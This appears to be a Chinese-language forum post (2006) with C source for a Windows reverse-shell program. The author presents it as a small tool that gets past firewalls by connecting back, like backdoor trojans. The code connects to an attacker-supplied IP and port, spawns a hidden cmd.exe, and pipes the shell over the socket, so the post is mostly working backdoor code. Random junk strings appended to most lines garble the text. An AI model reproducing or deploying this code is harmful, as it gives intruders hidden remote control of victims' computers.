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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 q2D`1nT  
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/* ============================== r6<ArX$Yl  
Rebound port in Windows NT DvU~%%(0^  
By wind,2006/7 r$Kh3EEF`E  
===============================*/ r ufRaar  
#include 8Q +TE;  
#include 2GUhV*TN  
(2 mS v  
#pragma comment(lib,"wsock32.lib") ~mW>_[RT;  
t>=GVu^  
void OutputShell(); a#>t+.dd  
SOCKET sClient; o^N%;d1%E  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !fif8kf  
Yr Preuh  
void main(int argc,char **argv) 6pS Rum  
{ s@R3#"I  
WSADATA stWsaData; F 'fM?!(  
int nRet; yFa&GxSq  
SOCKADDR_IN stSaiClient,stSaiServer; %Ud.SJ 3  
jWz|K  
if(argc != 3) Ab/v_ mA;  
{ C}|O#"t^\  
printf("Useage:\n\rRebound DestIP DestPort\n"); Q9SPb6O2  
return; ]eORw $f  
} s 0 =@ &/  
>2*6qx>V  
WSAStartup(MAKEWORD(2,2),&stWsaData); ?m`R%>X"  
g(M(Hn7  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Es_ SCWJ  
[UUM^!1  
stSaiClient.sin_family = AF_INET; 06Sqn3MB  
stSaiClient.sin_port = htons(0); 2I9{+>k  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3Ro7M=]  
#{.pQi})  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =#J 9  
{ Q2??Kp] 1  
printf("Bind Socket Failed!\n"); 8j({=xbg&  
return; ?yda.<"g9Y  
} ,|=iv  
D}3cW2!9  
stSaiServer.sin_family = AF_INET; wpJ^}+kF  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9LUP{(uq  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); qM+!f2t  
L+`}euu5  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >7eu'  
{ 0^_)OsFA  
printf("Connect Error!"); ">v_uq a  
return; C _ k_D  
} #nt<j2}m  
OutputShell(); <L[  *hp  
} 'bd=,QW  
L8%=k%H(1  
void OutputShell() 4p0IBfVG  
{ xX[{E x   
char szBuff[1024]; V_ avaE  
SECURITY_ATTRIBUTES stSecurityAttributes; \:18Uoe7  
OSVERSIONINFO stOsversionInfo; 9.]Cy8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZnxOa  
STARTUPINFO stStartupInfo; .'+|>6eU  
char *szShell; \3 O-} n1S  
PROCESS_INFORMATION stProcessInformation; ,DW0A//  
unsigned long lBytesRead; Ji)a%j1V9  
CgaB)`.  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H>Iet}/c   
w96j,rEC  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S@l a.0HDA  
stSecurityAttributes.lpSecurityDescriptor = 0; &St~!y6M?  
stSecurityAttributes.bInheritHandle = TRUE; ueS[sN!  
U{.+*e18  
'{1W)X  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;FIMCJS  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); yBD.Cs@  
?`BED6$`G9  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Yn?2,^?N  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3w6J V+?  
stStartupInfo.wShowWindow = SW_HIDE; `"1{Sx.  
stStartupInfo.hStdInput = hReadPipe; zS>:7eG  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xw/h~:NT  
UOOR0$4  
GetVersionEx(&stOsversionInfo); +5seT}h  
MWp\D#H  
switch(stOsversionInfo.dwPlatformId) Mf,Mcvs  
{ h1D~AgZOVj  
case 1: z.\[Va$@l  
szShell = "command.com"; '+GVozc6c"  
break; <yb=!  
default: *=KexOa9  
szShell = "cmd.exe"; '44nk(hM69  
break; tS*^}e*  
} b smoLT  
[ a65VR~J  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); RF\1.HJG  
}rb ]d'|  
send(sClient,szMsg,77,0); 8Y;zs7Y  
while(1) :9O0?6:B|  
{  Cq~ah  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d5Eee^Qu/  
if(lBytesRead) 2*UE&Gp  
{ fQ?n(  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (J?}eb;>n  
send(sClient,szBuff,lBytesRead,0); OD2ai]!v+  
} :pV("tHE  
else It,n +A  
{ T(fR/~:z?  
lBytesRead=recv(sClient,szBuff,1024,0); PSrt/y!  
if(lBytesRead<=0) break; 5)o-]S>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {/[?YTDU  
} V.G9J!?<P  
} k%4A::=  
PY3Vu]zD  
return; IQ27FV|3  
}
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